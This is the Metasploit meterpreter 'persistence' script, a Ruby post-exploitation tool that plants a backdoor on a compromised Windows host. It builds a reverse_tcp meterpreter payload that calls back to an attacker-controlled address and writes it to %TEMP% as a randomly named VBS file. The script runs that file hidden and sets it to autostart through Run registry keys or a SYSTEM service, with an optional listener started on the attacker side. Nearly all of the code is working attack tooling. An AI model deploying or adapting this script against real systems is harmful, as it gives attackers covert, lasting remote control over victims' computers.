# Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## ## # WARNING: Metasploit no longer maintains or accepts meterpreter scripts. # If you'd like to imporve this script, please try to port it as a post # module instead. Thank you. ## # Meterpreter Session @client = client key = "HKLM" # Default parameters for payload rhost = Rex::Socket.source_address("1.2.3.4") rport = 4444 delay = 5 install = false autoconn = false serv = false altexe = nil target_dir = nil payload_type = "windows/meterpreter/reverse_tcp" script = nil script_on_target = nil @exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "This help menu"], "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], "-p" => [ true, "The port on which the system running Metasploit is listening"], "-i" => [ true, "The interval in seconds between each connection attempt"], "-X" => [ false, "Automatically start the agent when the system boots"], "-U" => [ false, "Automatically start the agent when the User logs on"], "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], "-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"], "-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."], "-T" => [ true, "Alternate executable template to use"], "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] ) meter_type = client.platform ################## Function Declarations ################## # Usage Message Function #------------------------------------------------------------------------------- def usage print_line "Meterpreter Script for creating a persistent backdoor on a target host." print_line(@exec_opts.usage) raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) print_error("#{meter} version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end # Function for Creating the Payload #------------------------------------------------------------------------------- def create_payload(payload_type,lhost,lport) print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}") payload = payload_type pay = client.framework.payloads.create(payload) pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport return pay.generate end # Function for Creating persistent script #------------------------------------------------------------------------------- def create_script(delay,altexe,raw,is_x64) if is_x64 if altexe vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) else vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) end else if altexe vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) else vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) end end print_status("Persistent agent script is #{vbs.length} bytes long") return vbs end # Function for creating log folder and returning log path #------------------------------------------------------------------------------- def log_file(log_path = nil) #Get hostname host = @client.sys.config.sysinfo["Computer"] # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) end # Create the log directory ::FileUtils.mkdir_p(logs) #logfile name logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" return logfile end # Function for writing script to target host #------------------------------------------------------------------------------- def write_script_to_target(target_dir,vbs) if target_dir tempdir = target_dir else tempdir = @client.fs.file.expand_path("%TEMP%") end tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" fd = @client.fs.file.new(tempvbs, "wb") fd.write(vbs) fd.close print_good("Persistent Script written to #{tempvbs}") # Escape windows pathname separators. file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n") return tempvbs end # Function for setting exploit/multi/handler for autocon #------------------------------------------------------------------------------- def set_handler(selected_payload,rhost,rport) print_status("Starting connection handler at port #{rport} for #{selected_payload}") mul = client.framework.exploits.create("multi/handler") mul.datastore['WORKSPACE'] = @client.workspace mul.datastore['PAYLOAD'] = selected_payload mul.datastore['LHOST'] = rhost mul.datastore['LPORT'] = rport mul.datastore['EXITFUNC'] = 'process' mul.datastore['ExitOnSession'] = false mul.exploit_simple( 'Payload' => mul.datastore['PAYLOAD'], 'RunAsJob' => true ) print_good("exploit/multi/handler started!") end # Function to execute script on target and return the PID of the process #------------------------------------------------------------------------------- def targets_exec(script_on_target) print_status("Executing script #{script_on_target}") proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) print_good("Agent executed with PID #{proc.pid}") return proc.pid end # Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key,script_on_target) nam = Rex::Text.rand_text_alpha(rand(8)+8) key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" print_status("Installing into autorun as #{key_path}\\#{nam}") if key registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ") print_good("Installed into autorun as #{key_path}\\#{nam}") file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n") else print_error("Error: failed to open the registry key for writing") end end # Function to install payload as a service #------------------------------------------------------------------------------- def install_as_service(script_on_target) if not is_uac_enabled? or is_admin? print_status("Installing as service..") nam = Rex::Text.rand_text_alpha(rand(8)+8) print_status("Creating service #{nam}") service_create(nam, nam, "cscript \"#{script_on_target}\"") file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n") else print_error("Insufficient privileges to create service") end end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| case opt when "-h" usage when "-r" rhost = val when "-p" rport = val.to_i when "-i" delay = val.to_i when "-X" install = true key = "HKLM" when "-S" serv = true when "-U" install = true key = "HKCU" when "-A" autoconn = true when "-L" target_dir = val when "-T" altexe = val when "-P" payload_type = val end } # Check for Version of Meterpreter wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i print_status("Running Persistance Script") # Create undo script @clean_up_rc = log_file() print_status("Resource file for cleanup created at #{@clean_up_rc}") # Create and Upload Payload raw = create_payload(payload_type, rhost, rport) script = create_script(delay, altexe, raw, payload_type.include?('/x64/')) script_on_target = write_script_to_target(target_dir, script) # Start exploit/multi/handler if autoconn set_handler(payload_type, rhost, rport) end # Execute on target host targets_exec(script_on_target) # Install in registry if install write_to_reg(key,script_on_target) end # Install as a service if serv install_as_service(script_on_target) end